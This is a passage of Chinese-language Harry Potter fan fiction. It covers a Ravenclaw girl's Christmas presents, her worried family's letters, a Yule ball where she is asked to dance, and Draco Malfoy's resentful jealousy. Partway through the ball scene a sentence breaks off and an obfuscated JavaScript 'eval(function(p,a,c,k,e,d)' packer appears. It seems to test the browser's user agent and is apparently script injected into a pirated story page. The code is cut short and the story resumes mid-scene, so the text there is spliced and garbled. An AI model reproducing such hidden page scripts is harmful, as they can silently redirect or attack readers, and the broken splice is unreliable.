给几位教授的礼物也准备好了:给邓布利多教授一小罐西湖龙井(爷爷说校长喜欢茶),给麦格教授一方青石镇纸,给弗立维教授一套新的羽毛笔,给斯普劳特教授一包耐寒的东方花种。 至于斯内普教授……Eva犹豫了很久,最终准备了一小瓶品质上乘的月长石粉——常见的魔药材料,实用且不会显得过分亲近。 最后,她从抽屉里拿出那个米白色的小纸包,系着深蓝色的细绳。里面只是一张写着桂花米糕配方的纸,字迹工整,还附了几句简单的制作要点。给德拉科·马尔福的礼物——出于最基本的礼节。收到礼物,应当回赠。至于对方是否在意,是否接受,那是另一回事。 她将所有的礼物仔细包好,贴上标签。做这些事时,她的手指很稳,动作细致。胸腔深处那股“炁”的流动比前几天更加顺畅了,像冰封的溪流开始解冻。 “你都准备好了?”帕德玛抬头问,她面前也堆着几个包装好的礼物。 “嗯。”Eva点头,“你们呢?” “差不多了。”曼蒂兴奋地说,“我给我爸爸妈妈寄了我在霍格莫德买的羊毛袜,还有给哥哥们的糖果——他们肯定又要说我乱花钱。” 窗外,天色渐渐暗沉。圣诞前夜的暮色带着一种特别的宁静,仿佛连风声都变得温柔了些。 那晚入睡前,Eva将所有的礼物整齐地放在床脚的椅子上——明天早上,家养小精灵们会按照霍格沃茨的传统,将它们悄悄送到对应学生的床脚,远的则交给猫头鹰。她拿起那个米白色的小纸包,在掌心掂了掂,然后也放在了礼物堆里。 白色药囊置于枕下,清雅的草药气息弥漫开来。她在黑暗中闭上眼睛,感受着体内“炁”的流动——比一周前顺畅了许多,那种深层的空乏感正在缓慢消退。 图书馆里沙比尼的那些话在脑海中回响。“文化适应性认定”、“不同体系的了解”、“诠释需要证据”……这些词汇像拼图碎片,在她脑中慢慢拼凑出一个模糊的图景。 窗外,苏格兰高地的圣诞前夜漫长而寂静。城堡各处的灯火渐次熄灭,只有塔楼尖顶的几扇窗户还亮着,像守夜人惺忪的眼睛。雪又开始下了,细密而温柔,仿佛要将这一年所有的喧嚣、秘密和未解的轨迹,都温柔地覆盖,等待圣诞的晨光将它们重新唤醒。 而在斯莱特林地窖最深处的某间寝室里,德拉科·马尔福坐在床边,盯着手里那份《预言家日报》。头版的大标题在昏暗的灯光下格外刺眼: 《布莱克案重审在即:马尔福家族立场受关注》 副标题更小,但字字清晰:“消息人士透露,威森加摩将重新审查布莱克与马尔福家族的历史关联”。 他盯着那些字看了很久,久到眼睛开始发涩。然后猛地将报纸揉成一团,想要扔进壁炉,却在最后一刻停住了动作。 他的目光落在床头柜上——那里放着那瓶从温室取来的槲寄生浆果,鲜红的颜色在黑暗中像凝固的血。还有……晚餐时那双突然对视的黑眼睛,平静,清澈,像深潭一样将他瞬间的慌乱照得无所遁形。 “该死。”他低声咒骂,不知是在骂报纸,骂家族,还是骂那个不受控制的对视。 最终,他将报纸小心地抚平,折好,塞进了书包最底层。然后躺下,闭上眼睛,试图在脑海里复习《高级魔药制作》的配方。但那些成分和步骤很快模糊,变成了另一些画面——父亲冰冷的警告信,母亲忧虑的叮嘱,还有图书馆里,布雷司·扎比尼与那个拉文克劳女生“偶然”站在同一排书架前的侧影。 扎比尼在查国际魔法法。为什么?为了他的“魔法史论文”?还是为了别的? 马尔福翻了个身,将脸埋进枕头。窗外,雪无声地落着,覆盖了城堡、庭院和所有的足迹。圣诞的钟声尚未敲响,但漫长的冬夜已经开始了它最深沉的部分。而在寂静之下,某些轨迹正在缓慢延伸,等待着被晨光照亮。 87.圣诞钟声 圣诞节的清晨,是被雪光唤醒的。 细密的雪花在黎明前停歇,天空呈现一种洗过的、近乎透明的灰蓝色。阳光穿透高窗,将霍格沃茨庭院里的积雪染成淡淡的金粉色,每一道冰棱都像精心雕琢的水晶。城堡在这片柔光中沉睡,寂静得能听见远处禁林松枝积雪滑落的簌窣声。 Eva醒来时,晨光恰好落在床脚。 那里堆着大大小小、包装各异的礼物,像一座沉默的小山。家养小精灵们总是这样——在圣诞的晨光初现时,将所有礼物精准地送达,不惊扰任何人的梦境。 她坐起身,白色药囊从枕下滑落,散发着一夜安神后残余的清冽气息。体内“炁”的流动比昨天又顺畅了些,那种深层的滞涩感退到了感知的边缘,像退潮后湿润的沙滩。 她开始拆礼物。 韦斯莱夫人的礼物最大最显眼。打开时,首先涌出的是一股温暖的家常气息——手织的深蓝色毛衣,胸前用银线绣着一只展翅的鹰隼,针脚细密得不可思议。毛衣下面塞满了用油纸包好的点心:姜饼人、太妃糖、果酱馅饼,每一包都鼓鼓囊囊的。 信写得又长又热情,字迹有些潦草却充满力量: 亲爱的Eva: 圣诞快乐!罗恩把一切都告诉我们了——关于你如何在那么可怕的情况下帮助他们,关于你受了多重的伤。我和亚瑟不知道该怎么感谢你才好。哈利也是我们的孩子,你能在那样的时刻站出来……(这里有一小块墨渍,像是眼泪滴落的痕迹) 毛衣是我织的,希望合身。点心都是这几天新做的,你得多吃点,庞弗雷夫人说你需要补充营养。对了,等你好些了,一定要来陋居过周末!我们可以一起烤面包,花园里的地精虽然讨厌,但挺有趣的。 再次谢谢你,亲爱的。照顾好自己。 爱你的, 莫丽·韦斯莱 Eva将毛衣贴在脸上,羊毛温暖柔软,带着阳光和炉火的气息。她小心地把点心收好——庞弗雷夫人不会允许她一次吃太多,但这些甜蜜的重量让她心里某个地方变得很满。 曼蒂的礼物是一套会自己变换颜色的魔法指甲油,装在精致的玻璃瓶里。“女生都该有这些!”卡片上画着夸张的笑脸,“等你好了我们一起试!圣诞快乐!” 帕德玛的礼物是一本《高级如尼文变体与古代东方符文对照初探》,硬皮精装,书页边缘烫着银色花纹。翻开扉页,帕德玛工整的字迹写着:“在禁书区申请到的影印本,平斯夫人只批了三小时抄录。希望对你有用。圣诞快乐。” 秋·张的礼物是一个扁平的丝绒盒子。打开后,里面是一份手抄的笔记——不是原件,而是用复制咒精心制作的副本。标题是《东西方守护类咒语结构对比分析(私人研究笔记,1978-1981)》,字迹清秀而严谨,页边有许多细致的批注。 没有卡片,但笔记扉页有一行小字:“偶然在母亲旧物中发现。我想你或许会感兴趣。圣诞快乐。——秋” Eva小心地翻动着这些泛黄的纸页。笔记中不仅对比了铁甲咒、统统加护等西方咒语,还零星提及了一些东方“结界”与“护身符”的原理,分析角度独特而深入。这份礼物太重了——不是价值,而是那份将她视为“可以理解这些”的人的信任。 然后是哈利、罗恩和赫敏的礼物。 哈利的礼物是一个扁平的木盒。打开后,里面是一本厚厚的《不列颠及爱尔兰安神类魔法植物图鉴》,书页间夹满了彩色便签。书里夹着一张字条,字迹比平时工整许多: Eva: 庞弗雷夫人提到过几种有助恢复的植物。这本书里都有详细介绍,我在相关页做了标记。 希望有用。 圣诞快乐。 哈利 Eva翻开书,果然看到许多页折了角,旁边还有哈利用铅笔做的简单标注:“这个说对精神疲劳有效”、“温室有种植”、“月见草——弗立维教授提过”。他的细心让她有些意外。 罗恩的礼物是一大盒“蜂蜜公爵圣诞混合装”糖果,里面什么都有:巧克力蛙、比比多味豆、冰耗子、甚至还有几块看起来就很贵的夹心糖。卡片上的字迹飞舞: Eva! 妈妈说不能送太多糖,但这是“节日特供”!每样都尝尝! 谢谢你,真的。 圣诞快乐! 罗恩 又:斑斑的事……还是觉得像在做梦。 赫敏的礼物最厚重——是一整套《威森加摩程序法典注释与案例索引(学生版)》,共三册,每册都有她密密麻麻的笔记和交叉引用。卡片上字迹一丝不苟: Eva: 考虑到后续可能需要的程序,这些资料或许能帮助你理解流程。我做了重点标记和简化摘要。 另外,如果你身体允许,我们可以一起讨论第三章关于“未成年人证人保护”的部分,我认为那部分规定对现状很有参考价值。 祝你早日康复。 圣诞快乐。 赫敏 然后是那个匿名的包裹。 深绿色的包装纸,银色的细绳,折叠得一丝不苟。没有卡片,没有署名。Eva解开细绳,包装纸自动展开。 里面是一个深色木质的长盒,盒盖上没有任何纹饰,只有木质本身的纹理。打开后,十二支羽毛笔整齐排列。 笔杆是清一色的深色硬木——紫檀、黑胡桃、乌木、沉水香,每一支的木质都油润光亮,在晨光下泛着幽暗的光泽。笔尖是统一的秘银,打磨得极细,尖端闪着冷冽的银光。 没有任何装饰,没有任何家族徽记。就像送礼物的人想说的:这只是礼节性的回赠,一套顶级但毫无个人痕迹的工具。 Eva拿起一支紫檀木的。笔杆在掌心沉甸甸的,木质温润,秘银笔尖冰凉。她试着在便签纸上划了一道——墨迹流畅得不可思议,几乎感觉不到摩擦。 她将笔放回盒子,盖上盒盖。 在她床脚的礼物堆里,那个米白色的小纸包已经不见了——系着深蓝色细绳,里面只是一张写着桂花米糕配方的纸。家养小精灵们昨晚取走了它,就像取走所有礼物一样安静。 没有感谢,没有回应。就像这套羽毛笔一样——纯粹,冷淡,符合礼节。 她将羽毛笔盒放进书桌最底层的抽屉。和那瓶“恒久之蓝”墨水放在一起。 窗外的阳光更亮了。庭院里传来欢笑声——几个留校的学生已经迫不及待地跑出去玩雪了。 “Eva!你醒了吗?”曼蒂的声音从隔壁床传来,带着刚睡醒的含糊,“梅林啊,我收到了好多礼物!快来看!” “我也收到了。”帕德玛的声音清醒许多,“爸爸妈妈寄来了新袍子,还有大哥从开罗带回来的护身符——他说能安神。” Eva穿上晨袍,走到她们床边。三个女孩挤在一起,分享着各自的礼物和喜悦。曼蒂的指甲油在阳光下变换着颜色,帕德玛的护身符是一枚小巧的银质圣甲虫,雕刻精细。 “你收到什么了,Eva?”曼蒂好奇地探头,“哇,韦斯莱夫人的毛衣!还有这么多点心!” “嗯。”Eva拿起毛衣给她看。 “这本书是哈利送的?”帕德玛拿起那本植物图鉴,翻到折角的一页,“他做了好多笔记……真细心。” “赫敏又送书了。”曼蒂吐了吐舌头,“不过这次倒是很实用。” 三个女孩笑了。窗外的阳光洒进寝室,将一切都镀上温暖的金色。 早餐前,还有两封信。 素雪落在窗台,琥珀色的眼睛明亮如常。它带来两封信——爷爷惯用的淡青色信封,和妈妈常用的米白色信封。 爷爷的信字迹苍劲,墨色饱满: 丽华吾孙: 圣诞安康。 江南昨夜亦落小雪,庭前梅花初绽数朵,清芬暗送。老宅炉火温煦,墨砚皆备,独少汝研磨之声。 药囊效用若何?经脉滞涩可有好转?切记勿心急,冬日养藏,正合静养之道。新配药方已寄庞弗雷夫人处,待其核验后可用。此方重在固本培元,缓补而非急攻。 汝前信所言“炁”脉运转艰涩,此乃强行催动后必然之症。近日打坐,当以意念轻抚受损之处,如春风拂冰,徐徐化之。切不可再行冲击,否则旧伤未愈,新创又生,恐成沉疴。 寒假漫长,正是静养良机。三餐按时,勿贪凉,勿熬夜,勿耗神于繁杂思绪。江南老梅,岁寒方显精神。汝亦当如是。 待春日回暖,再议归期。 祖父字 信一如既往地专注她的身体和心性,对外界纷扰只字不提。 妈妈的信则薄得多,但字迹用力,透着沉重的忧虑: 丽华: 圣诞快乐。 伦敦下雪了,很大。我一个人在家,爸爸还在华沙,工作抽不开身,但他让我一定转告你:圣诞节快乐,希望你平安。 庞弗雷夫人的每周报告我都收到了。看到你经脉受损的诊断,我整夜整夜睡不着。丽华,你还记得去年在医疗翼的那一个月吗?你躺在那里昏迷不醒的样子,我和你爸爸这辈子都忘不掉。 我们送你到霍格沃茨,是希望你平安长大,学点东西,交些朋友——不是要你一次又一次把自己推到危险前面。你的健康和安全,比什么都重要,比任何事都重要。 这个假期,请你老老实实待在城堡里,听庞弗雷夫人的话,按时吃药,好好休息。新学期开始后,专心学业,离那些危险的事情远一点。算妈妈求你了。 毛衣是我织的,希望合身。点心少吃,庞弗雷夫人有严格食谱。 好好照顾自己。 妈妈 信很短,但字里行间透出的疲惫和恐惧让Eva心里发紧。她能想象妈妈一个人在伦敦的公寓里,对着窗外大雪写信时的样子。 而爸爸的信是单独寄来的,信封上印着华沙魔法部办事处的徽记。信纸是正式的公务用纸,字迹刚硬,措辞冰冷: 丽华: 圣诞问候。 华沙局势复杂,工作繁忙,长话短说。 庞弗雷夫人的诊断报告我已审阅。你的行为——不顾自身状况强行介入危险事件——让我非常失望。这不是第一次了。去年密室事件后,我以为你已经吸取教训。现在看来,你并没有。 记住你是谁。记住你背后代表什么。你的每一次“冒险”,都可能被解读为超出学生身份的行为,可能引发不必要的关注和误解。现阶段,我们需要的是低调、谨慎、专注学业。 你的任务是学习,不是扮演英雄。霍格沃茨的教授们有能力处理危机,不需要一个三年级学生逞强。 利用假期彻底恢复。新学期开始后,我希望看到你把全部精力放在课业上,远离任何可能引发事端的活动。这不是建议,是要求。 祝早日康复。 父亲 12月24日于华沙 没有“爱你的”,没有“想念你”。只有冰冷的告诫和命令。 Eva将三封信并排放在桌上。爷爷的沉稳,妈妈的恐惧,爸爸的严厉——三种不同的爱,三种不同的期待,像三股无形的绳索,将她牢牢束缚在“恢复期”和“好学生”的框架里。 她深吸一口气,将信仔细收好。窗外的阳光依旧明媚,但心底某个角落,却像被什么东西沉沉地压住了。 早餐时,礼堂被施了魔法。 天花板的星空变成了缓慢旋转的、由金色和银色光点组成的银河。十二棵圣诞树上的装饰全部活了过来——金色铃铛自己摇晃着发出清脆的响声,彩色蜡烛的火苗随着音乐节拍跳动,小仙子们穿着亮晶晶的裙子在树枝间穿梭,洒下细碎的光尘。 长桌上摆满了节日的食物。Eva只取了一小碗燕麦粥和几片水果——庞弗雷夫人的饮食清单贴在床头,她不敢违背。 “你就吃这么点?”曼蒂面前堆着烤香肠、培根和土豆饼。 “庞弗雷夫人的要求。”Eva轻声说。 帕德玛理解地点头:“恢复期要严格。” 留校的学生们陆陆续续走进礼堂。秋·张今天穿着一件深蓝色的针织长袍,衬得她肤色白皙。她端着盘子坐到拉文克劳这边:“圣诞快乐!睡得好吗?” “很好。”帕德玛微笑,“你的护身符很漂亮。” “祖母从香港寄来的。”秋摸了摸颈间的玉坠,“说是能安神。” 斯莱特林那边,布雷司·扎比尼和西奥多·诺特坐在惯常的位置。德拉科·马尔福稍晚些才到,独自坐在长桌末端,面前只放了一杯南瓜汁。他穿着一身银绿色滚边的黑色礼服长袍——虽然只是早餐,但马尔福家的礼仪似乎要求在任何场合都衣着得体。他脸色苍白,眼下有淡淡的阴影,像是没睡好。 早餐后,留校的学生们聚集在礼堂,等待邓布利多教授的圣诞致辞。 校长今天穿着一件绣满会动的银色铃铛的深红色长袍,半月形眼镜后的蓝眼睛格外明亮。他站在教师席前,声音温和而清晰: “圣诞快乐,各位同学。” 礼堂安静下来。 “在这个属于家庭、温暖和希望的日子里,我很高兴看到你们——无论是选择留校,还是因故未能回家——聚集在这里,共同分享节日的喜悦。” 他顿了顿,目光扫过在场每一张年轻的脸。 “过去的一年,霍格沃茨经历了一些……不平凡的时刻。”他的语气变得稍微严肃,“但我希望你们记住:无论外界如何变化,无论前路有多少未知,霍格沃茨永远是一个让你们学习、成长、并找到自我的地方。” “而今天,”邓布利多重新露出微笑,“让我们暂时放下所有烦恼,享受这个属于节日的日子。家养小精灵们准备了丰盛的午餐,下午庭院里有雪雕比赛,晚上礼堂会有圣诞舞会——当然,是自愿参加的。” “现在,”他举起手中的酒杯,“为了霍格沃茨,为了友谊,为了这个值得珍惜的日子——圣诞快乐!” “圣诞快乐!”学生们齐声回应。 午餐比早餐更加丰盛。Eva按照庞弗雷夫人的清单,只取了清蒸鱼肉、蔬菜和一小份土豆泥。曼蒂和帕德玛倒是对烤火鸡和圣诞布丁充满热情。 “你真的不吃点布丁?”曼蒂挖了一大勺,“会唱歌呢!” Eva摇头:“庞弗雷夫人说不行。” “好吧……”曼蒂遗憾地看着自己盘子里的布丁,“那我把我的运气分给你——哦!里面有个小戒指!” 她从布丁里挖出一枚银色的、会变换颜色的魔法戒指,兴奋地戴上。 午后的阳光正好。庭院里的雪雕比赛吸引了不少学生。 Eva裹着韦斯莱夫人送的深蓝色毛衣,坐在庭院长椅上晒太阳。庞弗雷夫人允许她每日户外活动半小时,但不能参与任何体力劳动。 她看着曼蒂和帕德玛在远处堆雪——这次她们决定雕一只猫头鹰,纪念素雪。几个赫奇帕奇学生雕出了一只巨大的獾,拉文克劳这边,秋·张和几个朋友正在完善一座微缩的拉文克劳塔楼。 斯莱特林那边,布雷司·扎比尼和西奥多·诺特没有参与雪雕,而是站在一旁低声交谈。德拉科·马尔福不见踪影。 阳光暖洋洋地照在身上,胸前药囊传来温润的热意。Eva闭上眼睛,感受着体内“炁”的流动——缓慢,但确实在恢复。 “Eva?” 她睁开眼。是迈克尔·科纳,拉文克劳同年级的男生。他手里拿着一把铲子,脸上有些泛红——不知道是冻的还是别的什么。 “嗨,迈克尔。圣诞快乐。” “圣诞快乐。”科纳清了清嗓子,“那个……晚上舞会,你……有舞伴了吗?” Eva愣了一下。舞伴?她根本没想过这个。庞弗雷夫人严禁她跳舞,而且她也不会。 “我……”她斟酌着用词,“我身体还没恢复,庞弗雷夫人说我不能跳舞。” “哦!当然,当然。”科纳连忙说,脸更红了,“我只是……问问。嗯……那,打扰了。” 他匆匆走开,回到拉文克劳的雪雕队伍里。曼蒂和帕德玛朝这边投来好奇的目光,Eva对她们轻轻摇头。 这只是个小插曲。但当她重新闭上眼睛时,脸颊却有些发热,一种被突然询问时本能的不自在。她确实没想过这些,她的世界被伤病、恢复、家庭压力和那些未解的秘密填满了。 舞会?太遥远了。 傍晚,回到塔楼更衣时,曼蒂坚持要Eva“至少打扮一下”。 “就算不跳舞,也要穿得好看点!”曼蒂从衣柜里翻出那件月白色的中式立领长袍,“这是你妈妈做的吧?从来没见你穿过!” Eva犹豫了一下。那件袍子确实很美,柔软的丝绸,银线绣着疏疏的竹叶纹。但太正式了,也太……显眼。 “就今晚!”曼蒂眼睛发亮,“圣诞舞会呀!” 帕德玛也微笑道:“穿吧,Eva。你恢复得不错,也该让自己心情好点。” 最终,Eva还是换上了。 当她站在寝室中央的穿衣镜前时,自己都愣了一下。 镜中的女孩几乎有些陌生。 月白色的丝绸衬得她本就白皙的肤色近乎透明,泛着温润的光泽。袍子的剪裁简洁而流畅,贴合着少女刚刚开始抽条的身形——肩膀单薄但挺直,腰线细微地收束,下摆自然垂落。银线竹纹在烛光下若隐若现,像月光洒在真实的竹叶上。 深蓝色的长发没有束起,只是自然披在肩后,发尾微卷。她的脸很小,下巴尖细,但那双眼睛——深黑色,沉静——让整张脸有了重心。不是那种明艳夺目的美,而是一种更内敛的、带着书卷气的清丽,像深夜窗台上的一枝白梅,安静,却有让人无法忽视的存在感。 “哇……”曼蒂张大了嘴,“Eva,你……你好好看!” 帕德玛也走近几步,仔细端详:“真的很适合你。平时都穿校袍,都没发现你……” “我只是换了件衣服。”Eva打断她,脸颊微微发热。她从不习惯被这样注视,哪怕只是来自朋友。 “不只是衣服!”曼蒂围着她转了一圈,“是你本来就这么好看,只是平时总低着头,安安静静的……” Eva不想继续这个话题,转身开始整理袖口。但镜中的倒影让她心里某个角落泛起一丝细微的涟漪——她确实……长大了些。不再是刚入学时那个瘦小拘谨的女孩了。 曼蒂自己换上了一件深蓝色带银色亮片的晚礼服袍子,帕德玛则是一身简洁的深蓝色丝绒长袍。三个女孩一起走向礼堂。 圣诞夜的礼堂被施了更加华丽的魔法。 天花板变成了深邃的星空,银河缓慢旋转。四张学院长桌被移到了墙边,中央空出了一片舞池。周围摆放着小圆桌和椅子,桌上点着蜡烛,空气中弥漫着松针和肉桂的香气。 Eva一走进礼堂,就感觉到几道目光落在自己身上。 不是平时那种好奇或探究的注视,而是……一种更直接的打量。她下意识地挺直背脊,努力让自己看起来平静如常,但指尖还是微微收紧了。 她们选了一张靠墙的小圆桌坐下。Eva去取食物——依然按照庞弗雷夫人的清单,一小碟蔬菜沙拉,两块清蒸的点心。当她端着盘子走回座位时,能感觉到更多的目光。 几个赫奇帕奇的男生在窃窃私语,朝这边瞥了一眼又迅速移开视线。拉文克劳那边,迈克尔·科纳和安东尼·戈德斯坦也在看她,眼神里带着惊讶。 Eva脸颊发烫,努力维持着表面的镇定,但心里那只小兔子已经开始乱跳了。她从不习惯成为焦点。 音乐响起了——舒缓的冬日旋律。 舒缓的、带着冬日宁静感的旋律,由墙壁上那些会自己演奏的乐器组合而成——竖琴、长笛、小提琴,声音清澈得像雪夜里的星光。 几对勇敢的学生走进舞池,开始尝试跟着节奏移动。大多数人都站在旁边观看,或继续享受美食。 “我们要不要试试?”曼蒂跃跃欲试。 帕德玛摇头:“我宁愿吃东西。” Eva也摇了摇头。她的体力不允许她跳舞,而且……她也不太擅长。爷爷教过她很多东西,但交谊舞不在其中。 就在这时,一个身影朝她们走来。 是塞德里克·迪戈里。 赫奇帕奇的找球手今天穿着一身简洁的深黄色长袍,衬得他挺拔的身姿更加出众。他走到秋·张面前,微微欠身:“秋,能请你跳支舞吗?” 秋的脸上泛起淡淡的红晕,她点了点头,将手放在塞德里克伸出的掌心。两人走进舞池,步伐默契而优雅——显然不是第一次共舞。 “哇……”曼蒂小声惊叹,“他们看起来好配。” 帕德玛也点头:“都是找球手,而且都很优秀。” Eva安静地看着。舞池里,秋和塞德里克的舞步流畅自然,深蓝色的旗袍和深黄色的长袍在烛光下旋转,像两片在夜空中交错的羽翼。音乐温柔地流淌,将这一刻衬得格外美好。 更多的学生走进舞池。几对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Eva感觉自己的镇定快要撑不住了。她张了张嘴,想说同样拒绝的话,但戈德斯坦抢在她前面开口了: “我教你。”他认真地说,“很简单,就是跟着音乐走几步。如果你觉得累,我们随时可以停下来。” “我……”Eva脑子飞速运转。庞弗雷夫人说“禁止跳舞”,但如果只是“慢慢走几步”……而且戈德斯坦说得这么诚恳…… 她下意识地看向帕德玛和曼蒂。曼蒂眼睛发亮地点头,帕德玛则给了她一个鼓励的微笑。 Eva深吸一口气。 “好吧。”她听见自己说,声音比想象中平稳,“但……我真的不会。” “没关系。”戈德斯坦笑了,朝她伸出手,“我保证很简单。” Eva将手放在他掌心,站起身。她能感觉到周围更多的目光投过来,脸颊又烧了起来,但她强迫自己抬头挺胸,跟着戈德斯坦走向舞池。 在礼堂另一端的阴影里,德拉科·马尔福独自坐在斯莱特林区域最边缘的小圆桌旁。 从Eva走进礼堂开始,他的目光就若有若无地飘向那个方向。他看到她穿着那件月白色的袍子——和霍格沃茨任何人的衣着都不同,安静,陌生。他看到她被布特邀请时那副强装镇定但耳根通红的样子,看到她礼貌但坚定地拒绝。 然后,他看到安东尼·戈德斯坦也朝她走去。 戈德斯坦,拉文克劳的级长候选人,成绩优异,很受欢迎。他走到Eva桌边,礼貌地欠身说着什么。 马尔福盯着那个方向,灰蓝色的眼睛在阴影里眯了起来。 又一个。 马尔福的嘴角向下撇出一个冰冷的弧度。 真够热闹的。一个接一个,排着队邀请。不就是换了件衣服么?至于么? 他看着她跟戈德斯坦说话时那副窘迫又努力保持冷静的样子,灰蓝色的眼睛里闪过一丝讥诮。拉文克劳的男生也就这点出息了,看见个稍微打扮一下的女孩就围上去。 但当他看到戈德斯坦朝她伸出手,而Eva犹豫了一下,竟然真的将手放上去时—— 马尔福的身体几不可察地僵了一下。 她同意了? 那个总是很沉静,稳的没有一丝波澜的拉文克劳,那个在他印象里只会用奇怪魔法和跟波特混在一起的女孩,竟然……同意了? 他看着她跟着戈德斯坦走向舞池,月白色的袍角在烛光下划出一道柔软的弧线。她的背脊挺得很直,像是在努力维持镇定,但侧脸还是能看出微微的泛红。 莫名的,一股烦躁涌上来。 不就是跳个舞么?至于这么紧张?拉文克劳的人都没见过世面? 他盯着舞池里那对开始移动的身影。戈德斯坦显然在耐心地教她,动作很慢,很轻。张的步法生涩,但在一次简单的转身时,她似乎终于跟上了节奏,月白色的袍角划出一道短暂的、流畅的弧线——就在那一瞬,马尔福的灰蓝色瞳孔几不可察地收缩了一下,像是被那抹流畅的光泽刺到。随即,他下颌线绷紧,迅速移开视线,仿佛多看一眼都是对自己的冒犯。 真够笨的。也就这种程度。 马尔福心里冷哼一声,移开视线,端起杯子喝了一口南瓜汁。但眼角的余光还是不受控制地飘向舞池。 就在这时,一个懒洋洋的声音从他身后传来: “看来我们的拉文克劳小姐今晚很受欢迎啊。” 布雷司·扎比尼不知何时走了过来,在他对面的椅子坐下,手里端着一杯冒着热气的饮料。他顺着马尔福刚才的视线方向望去,嘴角勾起一抹玩味的弧度。 “戈德斯坦,布特,还有早上那个科纳……啧啧,排着队呢。”扎比尼慢悠悠地说,“不过话说回来,她今晚确实……不太一样。那件袍子挺特别的,东方风格?” 马尔福没有接话,只是冷冷地盯着舞池。 “我听说,拉文克劳女生间流传着一套挑选羽毛笔的心得——什么木料配什么墨水,笔尖角度怎么选……写出的符文稳定性都有差异。” 他顿了顿,像是随口一提,“不过,好的羽毛笔确实难得,尤其是那些稀有的木料,比如那些真正稀有的硬木,像紫檀、沉水香……” 这话听起来完全是在讨论学术或收藏。但“稀有硬木”、“符文稳定性”这几个词,像几颗散落的珠子,轻轻滚到了马尔福面前。 马尔福握着杯子的手指微微收紧,指节泛白。他想起自己送出的那套顶级木质羽毛笔,也想起了那个米白色小纸包里……一张食物配方。 一股混杂着羞恼和烦躁的热流冲上头顶。但他脸上没有任何表情,只是冷冷地瞥了扎比尼一眼: “你对拉文克劳女生的爱好倒是了解得清楚。” 语气里的讥诮毫不掩饰。 扎比尼耸耸肩,脸上那抹玩味的笑意更深了些:“观察而已。霍格沃茨有趣的事情不多,总得给自己找点乐子。” 他又看向舞池,轻轻摇头,“她跳得真够差的。戈德斯坦教得也一般。要我说,这种慢舞,关键在于引导者的手势……” 马尔福不想听这些。他猛地站起身,椅子腿刮过石地板发出轻微的声响。 “你去哪儿?”扎比尼挑眉。 “这儿空气太闷。”马尔福丢下这句话,转身大步走向礼堂大门。银绿色的袍角在身后划出一道冷硬的弧线。 经过拉文克劳桌子附近时,他刻意放慢了脚步,用那种惯有的、拖长的、足够让附近人听到的腔调,对着空无一人的身侧冷冷开口: “连最基本的舞步都能踩成这样,蹩脚的示范,配上蹩脚的学生。拉文克劳今晚的娱乐项目,倒是别出心裁。。” 他说这话时没有看任何人,但声音的方向明显冲着舞池。 舞池里,Eva刚好又踩了戈德斯坦一脚,正在慌乱道歉。听到这句话,她的动作僵了一下,脸颊瞬间红透了。但她没有回头,只是深吸一口气,强迫自己继续跟上音乐。 戈德斯坦皱了皱眉,朝马尔福的方向看了一眼,但最终没说什么,只是对Eva温和地笑了笑:“没事,慢慢来。” 马尔福等了两秒,没等到预想中更激烈的反应(比如张停下来或者戈德斯坦回嘴)。那股莫名的烦躁像被堵住的蒸汽,无处发泄。他最后用余光瞥了一眼舞池——她正低着头,专注地看着自己的脚步,侧脸在烛光下泛着柔和的微光,完全沉浸在学习步法的世界里,似乎根本没把他的讥讽放在心上。 这个认知让他心头那股邪火更旺了。他冷哼一声,大步流星地走出了礼堂。 在他身后,布雷司·扎比尼端着杯子,看着他离开的背影,嘴角那抹玩味的弧度更深了。他瞥了一眼舞池里那个还在努力跟上节奏的月白色身影,又看了看已经消失在门外的银绿色背影,轻轻摇了摇头。 “有意思。”他低声自语,抿了一口热饮。 马尔福回到斯莱特林地窖时,公共休息室里空无一人。银绿色的炉火噼啪作响,将他的影子投在石墙上。 他走到壁炉前,从怀里掏出那个米白色的小纸包。 盯着它看了很久,然后粗暴地扯开细绳,展开那张纸。 桂花米糕配方 用料:糯米粉、粘米粉、干桂花、糖、水…… 步骤:1. 干桂花用温水浸泡…… …… 备注:糖量可依口味调整,但不可过多,否则失了清香。 一个食物配方。 他想起自己几个小时前在礼堂讽刺扎比尼时说的“美食鉴赏会”,想起舞池里那个笨拙地跟着戈德斯坦移动的月白色身影,想起她踩到对方脚时那副窘迫又强装镇定的样子…… 莫名的,一股混杂着羞恼、烦躁和某种难以名状的情绪在胸腔里翻涌。 他把纸粗暴地折好,想要扔进壁炉——就像他想扔掉今晚所有混乱的思绪一样。 但手指在松开的前一刻停住了。 最终,他将纸塞进了书包最内侧的夹层——那里还放着父亲上周的警告信,和那份关于布莱克案的《预言家日报》。 炉火继续燃烧,将银绿色的光影投在他苍白的脸上。他盯着火焰,灰蓝色的眼睛里倒映着跳动的火光,复杂得难以解读。 窗外,苏格兰高地的圣诞之夜漫长而深沉。雪又开始下了,细密的雪花覆盖了城堡、庭院和所有的足迹。 而在寂静之下,某些轨迹正在缓慢延伸。关于身体,关于家庭,关于未解的魔法,关于那些尚未说出口、或许永远也不会说出口的话。 圣诞的钟声早已敲过,但夜晚还很长。 88.余烬与新生 圣诞假期的剩余日子,像融雪般缓慢而无声地流逝。 城堡里的空旷并未随着节日的结束而散去,反而在寂静中沉淀出一种更深沉的安宁。走廊里的火把调得更暗了,画像们大多沉睡着,连费尔奇巡逻的脚步都比往日轻些——或许连他也被这冬日的倦怠感染了。 Eva的恢复进入了平缓期。每天清晨按时服下珍珠光泽的银色药剂,药液滑过喉咙时已不再刺痛,只留下清冽的回甘。午后佩戴蓝色药囊散步半小时,胸前的温热感持续而稳定,像一道无声的暖流温养着经脉。傍晚阅读或写信的时间延长到了两个半小时——庞弗雷夫人的禁令逐渐松动,但依旧严厉:“可以动脑,不可费力。” 她开始翻阅赫敏送的那套《威森加摩程序法典》。厚重的书页在指尖沙沙作响,那些严谨的法律条文和繁琐的程序规定,在冬日的寂静里竟有种奇异的安抚作用。它们像一道道清晰的栅栏,将混乱的现实框定在可预测的轨道里——证人权利、举证程序、未成年人保护条款……每一个条款都像一块基石,构筑起名为“秩序”的堤坝。 